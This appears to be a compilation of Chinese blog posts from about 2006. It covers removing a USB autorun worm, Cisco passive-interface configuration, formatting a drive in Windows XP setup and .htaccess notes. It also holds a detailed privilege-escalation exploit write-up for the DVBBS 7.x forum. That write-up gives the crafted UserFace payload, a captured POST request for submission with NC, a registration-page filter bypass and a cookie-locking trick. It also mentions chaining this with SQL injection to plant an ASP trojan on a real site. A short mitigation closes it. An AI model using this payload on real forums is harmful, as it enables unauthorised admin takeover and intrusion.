2.在开始→运行里输入cmd进入命令行模式,输入C:回车,进入C盘根目录,输入dir/a查看所有文件,发现存在如下两个文件:Autorun.inf RavMon.exe。

3.在开始→运行里输入msconfig,进入系统配置程序,选择“启动”标签,里面有一个叫做“MDM”的项指向“C:\windows\mdm.exe”。

解决方法:

1.重新启动,开机时按F8,进入带命令行的安全模式,选择Administrator账号登陆。

2.在命令行下输入regedit进入注册表,查找"RavMon.exe",如果发现匹配项就删除(我没有发现,这样做是保险起见)。注意RsRavMon是瑞星杀毒软件,不用删除。

3.在命令行下输入msconfig,进入系统配置程序,选择“启动”标签,将所有“MDM”项前面的勾去掉(我删了一个还有一个,md),保存。

4.在命令行下输入以下指令:del C:\Autorun.inf /f /s /q /a del C:\RavMon.exe /f /s /q /a del D:\Autorun.inf /f /s /q /a del D:\RavMon.exe /f /s /q /a ……有多少盘符输多少个。注意这个指令会删除根目录往下所有目录的对应文件,所以大家看到删除了根目录下的以后马上按Ctrl+C中断。

5.重新启动,ok啦。

6.要彻底清楚,主要还是要把U盘里的毒源杀掉。我没有试别的办法,直接偷懒进Linux下用rm删了个干净。如果大家认识的人有装Linux的可以请他帮忙,个人认为这样做是最安全的。在Windows/Dos平台下怎么做还请高手出招。

说明:1.MDM是微软的Machine Debug Manager,系统进程;病毒伪装成了mdm.exe。2.本杀毒方法思想可用于清除类似病毒。

Tags:

管理网络带宽正变得越来越重要。在没有其他路由器的网络上,对网络接口上流出的广播通信进行路由毫无意义。这对你的路由器资源使用来说,其效率都是非常低下的。让我们来看看如何通过使用passive-interface命令,来更好的进行带宽控制。

要想正确的配置路由协议,passive-interface命令绝对不可不知。不过,如果你不是在使用动态路由协议(比如OSPF,EIGRP,或者RIP)的话,那你倒也用不到这个命令。

passive-interface命令仅仅工作于路由器配置模式(Router Configuration Mode)。当你看到如下所示的命令行提示符时,那你就知道自己已经进入该模式了:

Router(config-router)

你可以使用passive-interface命令告知动态路由协议不要通过该接口发送网络广播。这个命令可以对所有的IP路由协议生效,仅BGP除外。

不过,该命令在OSPF上工作,和在IS-IS上有点不同。用OSPF,被动指定的网络接口作为stub(末节区域)出现,并不发送和接收任何路由更新。使用RIP,IGRP,以及EIGRP时,它不发送任何路由,但是它能接收它们。同样,它也将对网络上所有非被动的接口发送广播。

使用passive-interface命令有两种方式。

指定某个接口成为被动模式,这意味着它将不会发出路由更新。

首先将所有接口设为被动模式。然后在那些你打算发送路由更新的接口上,使用no passive-interface命令。

让我们来对两种方式各看一个示例。注:两个事例都假定你已经预先添加了对路由协议是被动接口的网络(使用网络命令)。

让一个接口变成被动模式,只需要对接口进行指定。这里是一个示例:


Router(config)
# router rip Router(config-router)
# passive-interface Ethernet 0/0


要将所有接口设为被动,然后单独打开某个接口,仅需使用passive-interface default和no passive-interface命令(在IOS 12.0中介绍)。下面是个示例:


Router(config)
# router rip Router(config-router)
# passive-interface default Router(config-router)
# no passive-interface Serial 0/0


让我们来看一个简单的网络,专用于示范该命令的深层应用。假设你有2台路由器,通过一个T1回路相连,且路由器均运行RIP.每个路由器连一个局域网,电脑通过以太网卡连上局域网。

你需要每台路由器都了解对方路由器的网络,对吧?这也是为什么要使用动态路由协议的目的所在。但是在局域网上,并无其他路由器可以让这两台路由器交换路由更新。

在这种情况下,你为什么会想每30秒在局域网接口广播一次路由更新,一直持续呢?答案是你不想。这是一种对局域网带宽和电脑CPU时间的浪费。如果它只是一个小更新,它的确不会引起什么问题,但如果你能避免,何必发送这种毫无必要的通信呢?

那怎么才能消除这种毫无必要的通信呢?在每台路由器上,进入RIP配置模式(RIP Configuration mode),并使用passive-interface命令,停止在局域网端口上发送路由更新。下面是示例:


Router(config)
# router RIP Router(config-router)
# passive-interface Ethernet 0/0


这个,当然,假设你已经预先使用网路命令配置好了打算广播的网络。下面是个事例:


Router(config-router)
# network 1.0.0……0 (the Serial network)
Router(config-router)
# network 2.0.0.0 (the Ethernet network)


要记住,这意味着系统通过连到另一台路由器的串行接口,将对你设置的两个网络进行广播。另外,这也没有阻止你的路由器从局域网络接口(使用RIP)接收路由更新。如果另一台路由器正巧也在局域网上,并向你的路由器发送了更新,它依旧可以收到这些更新。



Tags:
在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文,说是admin_postings.asp文件存在注入漏洞,但利用的前提是拥有超级版主或前台管理员权限。我想起以前发现的动网7.x版本存在一个前台权限提升漏洞, 正好可以结合起来利用。这个前台权限提升漏洞对7.x的Access和 SQL版都有效。下面我们就以7.0 SP2 SQL版,讲解这个漏洞的利用。

漏洞分析:
我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用户的权限。它是如何取得这个GroupID的呢?让我们看看登录验证的那一段:login.asp的525行左右:
Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,userCookies,ctype)
…………前面的代码省略
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace
,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,
userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,
UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday "
SQL=SQL+" From [Dv_User] Where "&SQLstr&""
set rsUser=DVBBS.Execute(SQL)
If rsUser.eof and rsUser.bof Then
ChkUserLogin=false
Exit Function
Else
iMyUserInfo=rsUser.GetString(,1, "|||", "", "")
rsUser.Close:Set rsUser = Nothing
End If
iMyUserInfo = "DVBBS|||"& Now & "|||" & Now &"|||"& DVBBS.BoardID &"|||"&
iMyUserInfo &"||||||DVBBS"
iMyUserInfo = Split(iMyUserInfo,"|||")
If trim(password)<>trim(iMyUserInfo(6)) Then
ChkUserLogin=false
ElseIf iMyUserInfo(17)=1 Then
ChkUserLogin=false
ElseIf iMyUserInfo(19)=5 Then
ChkUserLogin=false
Else
ChkUserLogin=True
Session(DVBBS.CacheName & "UserID") = iMyUserInfo
DVBBS.UserID = iMyUserInfo(4)
RegName = iMyUserInfo(5)
Article = iMyUserInfo(8)
UserLastLogin = iMyUserInfo(15)
UserClass = iMyUserInfo(18)
GroupID = iMyUserInfo(19)
TitlePic = iMyUserInfo(34)
If Article<0 Then Article=0
End If
…………后面的代码省略
可以看到,动网将用户的信息先用“|||”三个竖线连起来,做为一个字符串传给iMyUserInfo,然后iMyUserInfo由“|||”分隔成一个字符串数组。用户密码验证正确后就把数组的第20个元素的值:iMyUserInfo(19)赋给GroupID。看到没,GroupID只是数组对应的第20个元素的值,如果iMyUserInfo(19)的值为1的话,动网就以为现在登录的用户是前台管理员了。
在inc目录下的Dv_ClsMain.asp文件中也有这么验证用户身份的一段代码,用来在用户更新信息后检测用户的权限。
Dv_ClsMain.asp的650行左右
Public Sub TrueCheckUserLogin()
……前面的省略
Dim Rs,SQL
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,
UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,
UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,
UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
SQL=SQL+" From [Dv_User] Where UserID = " & UserID
Set Rs = Execute(SQL)
If Rs.Eof And Rs.Bof Then
Rs.Close:Set Rs = Nothing
UserID = 0
EmptyCookies
LetGuestSession()
Else
MyUserInfo=Rs.GetString(,1, "|||","","")
Rs.Close:Set Rs = Nothing
If IsArray(Session(CacheName & "UserID")) Then
MyUserInfo = "DVBBS|||"& Now & "|||" & Session(CacheName & "UserID")(2) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS"
Else
MyUserInfo = "DVBBS|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS"
End IF
Response.Write MyUserInfo
MyUserInfo = Split(MyUserInfo,"|||")
……
End If
End Sub
'用户登录成功后,采用本函数读取用户数组并判断一些常用信息
Public Sub GetCacheUserInfo()
MyUserInfo = Session(CacheName & "UserID")
UserID = Clng(MyUserInfo(4))
MemberName = MyUserInfo(5)
Lastlogin = MyUserInfo(15)
If Not IsDate(LastLogin) Then LastLogin = Now()
UserGroupID = Cint(MyUserInfo(19))
    ……后面代码省略
两处检验的方式一模一样,所以我们可以利用这两个中的任意一个来达到我们的目的。看它的SQL语句部分:
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"
SQL=SQL+" From [Dv_User] Where UserID = " & UserID
UserGroupID字段排在第16个,只要我们前面的一个字段的数据中含有“|||”,那么UserGroupID在MyUserInfo这个字符串数组的位置就改变了。对这个字段选取有些特殊的要求,字段类型要合适,不能为数字型,字段的长度要可以容纳下我们构造的数组,并且还得是上面SQL语句中排在UserGroupID前面的字段,这样才能使构造的数组改变原来数组中UserGroupID的位置。如图1所示。
我们能利用的就只有UserEmail、UserFace这两个字段了。由于IsValidEmail函数的存在,我们没法在UserEmail字段中插入‘|’,所以能利用的就只有UserFace字段了。
在基本资料修改时,动网只过滤了SQL注入用的几个符号,没有过滤掉‘|’,所以只要我们构造出正确的字符串,就可以骗过动网,成为管理员组的用户了。
  face=Dv_FilterJS(replace(face,"'",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")

漏洞的利用:
如何构造这个UserFace来达到我们的目的呢?最开始我以为只要iMyUserInfo(19)为1就可以是管理员了,但一直没有成功。其实我们在构造这个UserFace时还要考虑到一点,我们已经改变了iMyUserInfo数组的结构,我们必须保证新的iMyUserInfo数组的前面一部分的结构和原数组结构一模一样,否则就会出现类型转换错误,比如UserBirthday,在新的数组中该字段位置的值必须为一个日期。我们可以直接拿一个正常的iMyUserInfo的后半部分做我们的UserFace值,然后将UserGroupID位置改为一。我修改了login.asp文件,让它在用户登录时显示当前用户的iMyUserInfo的内容,如图2所示。

例如admin(不一定非得是admin的,其他用户的也行,只要UserGroupID处改为1就行了)登录时的iMyUserInfo的值为:
DVBBS|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||
eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200
|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS
我们可以取
images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS
做我们的UserFace值,要注意这个值的长度不能超过255个字符。动网限制了我们提交的字符为100个,我们可以用NC来提交。
先在本机测试一下,用普通用户登录动网,现在用户等级还是新手上路。
好了,我们去修改基本信息的地方。
提交,用WSE抓下这个包

截取到的包如下:
POST /bs/mymodify.asp?action=updat&username=4 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://210.41.235.199/bs/mymodify.asp Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)
Host: 210.41.235.199 Content-Length: 396 Connection: Keep-Alive Cache-Control: no-cache Cookie: 210%2E41%2E235%2E199%2Fbs%2F=userCookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=test&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&userid=4; upNum=0; ASPSESSIONIDASCDABTA=IEGHDLKCCHDMOBPFPFFHMNAM
title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fimage1.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&userCookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0%C2
好,我们把userface的值给替换成
images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||
9pc722664t5w7IM7|||0|0|0 ||||||DVBBS

要注意中间的空格替换成%20,重新计算Content-Length的值,然后用NC提交一次,我们这个用户的userface就替换过来了。我们现在再重新登录看看。
哈哈,看到了吗?我们已经是管理员了。再利用黑防第六期《动网7.1漏洞惊现江湖》一文中的漏洞就可以添加后台管理员了。

动网7.1利用方法:
动网的7.1版利用这个漏洞的方法有点小变化,难度也比7.0 SP2要大。7.1版中加入了对face变量中的’|’符号的过滤
mymodify.asp文件中的270行附近:
face=Dv_FilterJS(Replace(face,"'",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")
可惜的是动网的程序员百密而一疏,忘了注册时也可以修改头像,在reg.asp中就没有对face变量做任何的过滤。Reg.asp文件的285行附近。
If Request.form("face")<>"" Then
face=Request.form("face")
End If
同样,还是先抓包后用NC提交。注册登录后就是前台管理员了。但还要一个问题,就是Truepassword问题。7.1中加强了对Cookie欺骗的防范,所以这个truepassword变化的太频繁了。在7.0SP2的newpass.asp中,只有一个更新当前用户turepassword的指令:
7.0 SP2的newpass.asp文件




而在7.1中,newpass.asp还会检查用户的Cookies是否更新。7.1newpass.asp文件的30行左右

'检查写入是否成功如果成功则更新数据
If DVBBS.checkStr(Trim(Request.Cookies(DVBBS.Forum_sn)("password")))=TruePassWord Then
DVBBS.Execute("UpDate [Dv_user] Set TruePassWord='"&TruePassWord&"' where UserID="&DVBBS.UserID)
DVBBS.MemberWord = TruePassWord
Dim iUserInfo
iUserInfo = Session(DVBBS.CacheName & "UserID")
iUserInfo(35) = TruePassWord
Session(DVBBS.CacheName & "UserID") = iUserInfo
End If

在7.1中,我们的客户端的Cookies中的truepassword被更新成新的truepassword,由于服务器端的truepassword也是从MyUserInfo中得来的,而MyUserInfo中的truepassword值是不会改变的,在检测时就会形成一个死循环。我们的解决的办法是用Cookies锁定,用桂林老兵的浏览器锁定我们的Cookies,之前得将Cookies中的truepassword值设成和MyUserInfo中的truepassword值一致。这样就不会重复请求newpass.asp进入死循环了。
由于手头上没有7.1的SQL版的代码,所以上面是在7.1的Access版下测试的,可以成功的成为前台的管理员。

后记:
漏洞的防范方法:改数据库结构的工程大了点,建议在reg.asp和mymodify.asp中加入对相应变量的”|”符号进行过滤,比如:

face=Dv_FilterJS(Replace(face,"'",""))
face=Replace(face,"..","")
face=Replace(face,"\","/")
face=Replace(face,"^","")
face=Replace(face,"#","")
face=Replace(face,"%","")
face=Replace(face,"|","")

还想提一点,动网太信任后台的管理员了,所以在后台的很多地方都没有对SQL注入进行防范,这就形如给我们开了一个SQL注入之门。我们曾经检测的一个网站,设置的非常BT。上面用的就是DVBBS的论坛。当我们取得了DVBBS的后台管理员权限时才发现上传目录没有执行权限,asp木马传上去了又原样返回。而由执行asp权限的目录又没有写入的权限。网站上又没有其他的站点可以注入。后来发现DVBBS后台有注入后才总算得到一匹小马。真是千里之堤,溃于蚁穴啊。
哆嗦一句,这个权限提升漏洞没有太高深的技巧,但后果是非常严重的。由于前台管理的多个页面存在SQL注入,所以这个漏洞对DVBBS 7.x SQL版的危害非常大。请不要用本文的方法做破坏行为,否则后果自负。

Tags:

XP如何格式化c盘

[ 2006/09/05 14:41 | by pling ]
使用 Windows XP 安装程序中的磁盘分区和格式化工具:
1. 将 Windows XP CD 插入到 CD/DVD 驱动器中(或将第一张 Windows XP 安装启动盘插入到软盘驱动器中),然后重新启动计算机。
注意:要从 Windows XP CD(或从安装启动盘)启动计算机,必须将计算机配置为从 CD/DVD 驱动器(或软盘驱动器)启动。在某些情况下,您可能必须修改计算机的 BIOS 设置。有关详细信息,请参阅将计算机配置为从 CD 启动。
2. 如果要从 Windows XP CD 启动计算机,那么请在得到提示时按任一键从 CD 启动。如果要从 Windows XP 安装启动盘启动,那么请在得到提示时依次插入其他磁盘,并在插入每张磁盘后按 Enter 继续。
3. 在“欢迎使用安装程序”页面上,按 Enter 继续。
4. 在“许可协议”页面上,阅读协议,并按照其中的说明接受或拒绝协议。
5. 如果检测到现有的 Windows XP 安装,那么系统将提示您对其进行修复。按 Esc(不进行修复)。
6. 每个物理硬盘上的所有现有分区和未分区空间都将被列出。使用箭头键选择分区或要在其上创建新分区的未分区空间,然后按 D 删除现有的分区,或按 C 使用未分区空间创建新分区。
如果按 D 删除现有的分区,那么必须接着按 L(如果是系统分区,则按 Enter,然后按 L),以确认要删除该分区。对于要用作新分区的每个现有的分区,重复此过程。当所有的分区都被删除时,选择生成的未分区空间,然后按 C 创建新分区。
注意:如果希望在已经存在一个或多个分区的位置上创建分区,那么必须首先删除现有分区,然后再创建新分区。7. 键入要用于新分区的大小(用 MB 表示),然后按 Enter;或者直接按 Enter,以使用最大大小创建分区。8. 如果要创建其他分区,请重复第 6 步到第 7 步。
9. 如果要安装 Windows XP,请使用箭头键选择要在其中安装 Windows XP 的分区,然后按 Enter。如果您不希望格式化该分区和安装 Windows XP,请按 F3 两次退出安装,然后不要继续执行后面的步骤。在这种情况下,必须使用其他程序来格式化分区。
10. 选择要用于该分区的格式化选项,然后按 Enter。选项为:* 使用 NTFS 文件系统格式化分区(快速)* 使用 FAT 文件系统格式化分区(快速)* 使用 NTFS 文件系统格式化分区* 使用 FAT 文件系统格式化分区* 保留当前文件系统不变(无更改)
对于大多数配置,NTFS 是实现安全性和灵活性的绝佳选择。但是,如果您打算安装多重引导配置,并访问使用旧操作系统(如 Windows 95、Windows 98 或 Windows Millennium Edition)的驱动器上的数据,那么请选择 FAT。
当您格式化某个卷时,该卷上的文件将被删除,并且硬盘将经过扫描以查看是否存在坏扇区。在对卷进行格式化时,大部分时间都用在扫描磁盘上。如果您选择“快速”格式化选项,那么该分区上的文件将被删除,但是磁盘将不会经过检查坏扇区的扫描。只有在以前曾经格式化过该硬盘,并且您确信该硬盘未损坏时,才应使用此选项。
注意:在 Windows XP 安装过程中,如果所选分区是新分区,那么“保持现有文件系统”选项将不可用。对于大小小于或等于 2 GB 的分区,安装程序使用 FAT(又被称作 FAT16)文件系统。对于超过 2 GB 但是小于 32 GB 的分区,安装程序使用 FAT32 文件系统。对于超过 32 GB 的分区,安装程序使用 NTFS。
注意:如果您已经删除并创建了一个新系统分区,但是要在另一个分区上安装 Windows XP,那么此时将提示您同时为系统分区和启动分区选择文件系统。
11. 在安装程序格式化该分区之后,按照屏幕上的说明继续安装。在安装完成之后,可以使用 Windows XP 中的磁盘管理工具创建或格式化其他分区。
执行其他与安装有关的任务 如何从命令提示符安装 Windows?
如果您的计算机不从 CD 启动,那么仍可以使用 Windows XP 安装软盘启动安装程序。在安装过程中,系统将提示您插入 Windows XP CD。有关详细信息,请参阅“创建启动盘”。
另外,可以使用 Windows 98 或 Windows Millennium Edition 启动盘启动计算机,然后运行 Windows XP CD 上 i386 文件夹中的 Winnt.exe。
1. Smartdrv.exe 工具可以加速将文件从 CD 复制到硬盘驱动器的过程。要使用 Smartdrv.exe 工具,请确保 Smartdrv.exe 文件位于启动盘上。
如果没有 Smartdrv.exe,那么文件复制过程所需的时间会长得多,但是仍能成功完成。请验证下列各项是否存在于启动盘上的以下文件中;如果尚不存在,请添加进去:
在 Autoexec.bat 中,添加下面一行:
smartdrv.exe
在 Config.sys 中,添加下面一行:
device=himem.sys
注意:有关修改 Config.sys 和 Autoexec.bat 文件的信息,请参阅 Microsoft 知识库文章 232558。2. 将启动盘插入到计算机的软盘驱动器中,然后重新启动计算机。3. 在出现 DOS 提示符(类似 C:>)时,键入以下各行,在每一行后面都按 Enter。用您的 CD-ROM 驱动器的驱动器号替换字母 D(如果二者不同的话)。
D:
cd \i386
winnt
在安装开始时,按照屏幕上的提示操作。
Tags: ,

.htaccess 学习笔记

[ 2006/07/28 23:55 | by pling ]
.htaccess可以做大量范围的事情,包括:文件夹密码保护、用户自动重新指向、自定义错误页面、变更你的文件扩展名、屏蔽特定的用户IP地址、只允许特定的IP地址、停止目录表以及使用其他文件作为index文件,等等......

1. Introduction 介绍
文件名 .htaccess 属性 644 (RW-R–R–)
htaccess会影响它所在目录下的所有子目录
注意大多数内容都要求保持在一行之内,不要换行,否则会引起错误

2. Error Documents 错误文档
Official document: ErrorDocument Directive
ErrorDocument code document
例子
ErrorDocument 400 /errors/badrequest.html
ErrorDocument 404 http://yoursite/errors/notfound.html
ErrorDocument 401 “Authorization Required”
(注意之后内容如果出现的双引号需要转义为 \”)
常见HTTP状态码
Successful Client Requests
200 OK
201 Created
202 Accepted
203 Non-Authorative Information
204 No Content
205 Reset Content
206 Partial Content
Client Request Redirected
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
303 See Other
304 Not Modified
305 Use Proxy
Client Request Errors
400 Bad Request
401 Authorization Required
402 Payment Required (not used yet)
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable (encoding)
407 Proxy Authentication Required
408 Request Timed Out
409 Conflicting Request
410 Gone
411 Content Length Required
412 Precondition Failed
413 Request Entity Too Long
414 Request URI Too Long
415 Unsupported Media Type
Server Errors
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout
505 HTTP Version Not Supported

3. Password Protection 密码保护
Official document: Authentication, Authorization and Access Control
假设密码文件为.htpasswd
AuthUserFile /usr/local/safedir/.htpasswd (这里必须使用全路径名)
AuthName EnterPassword
AuthType Basic
两种常见验证方式:
Require user windix
(仅允许用户windix登陆)
Require valid-user
(所有合法用户都可登陆)
Tip: 如何生成密码文件
使用htpasswd命令(apache自带)
第一次生成需要创建密码文件
htpasswd -c .htpasswd user1
之后增加新用户
htpasswd .htpasswd user2

4. Enabling SSI Via htaccess 通过htaccess允许SSI(Server Side Including)功能
AddType text/html .shtml
AddHandler server-parsed .shtml
Options Indexes FollowSymLinks Includes
DirectoryIndex index.shtml index.html

5. Blocking users by IP 根据IP阻止用户访问
order allow,deny
deny from 123.45.6.7
deny from 12.34.5. (整个C类地址)
allow from all

6. Blocking users/sites by referrer 根据referrer阻止用户/站点访问
需要mod_rewrite模块
例1. 阻止单一referrer: badsite.com
RewriteEngine on
# Options +FollowSymlinks
RewriteCond %{HTTP_REFERER} badsite\.com [NC]
RewriteRule .* - [F]
例2. 阻止多个referrer: badsite1.com, badsite2.com
RewriteEngine on
# Options +FollowSymlinks
RewriteCond %{HTTP_REFERER} badsite1\.com [NC,OR]
RewriteCond %{HTTP_REFERER} badsite2\.com
RewriteRule .* - [F]
[NC] - 大小写不敏感(Case-insensite)
[F] - 403 Forbidden
注意以上代码注释掉了”Options +FollowSymlinks”这个语句。如果服务器未在 httpd.conf 的 段落设置 FollowSymLinks, 则需要加上这句,否则会得到”500 Internal Server error”错误。

7. Blocking bad bots and site rippers (aka offline browsers) 阻止坏爬虫和离线浏览器
需要mod_rewrite模块
坏爬虫? 比如一些抓垃圾email地址的爬虫和不遵守robots.txt的爬虫(如baidu?)
可以根据 HTTP_USER_AGENT 来判断它们
(但是还有更无耻的如”中搜 zhongsou.com”之流把自己的agent设置为 “Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)” 太流氓了,就无能为力了)
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
RewriteRule ^.* - [F,L]
[F] - 403 Forbidden
[L] - ?

8. Change your default directory page 改变缺省目录页面
DirectoryIndex index.html index.php index.cgi index.pl

9. Redirects 转向
单个文件
Redirect /old_dir/old_file.html http://yoursite.com/new_dir/new_file.html
整个目录
Redirect /old_dir http://yoursite.com/new_dir
效果: 如同将目录移动位置一样
http://yoursite.com/old_dir -> http://yoursite.com/new_dir
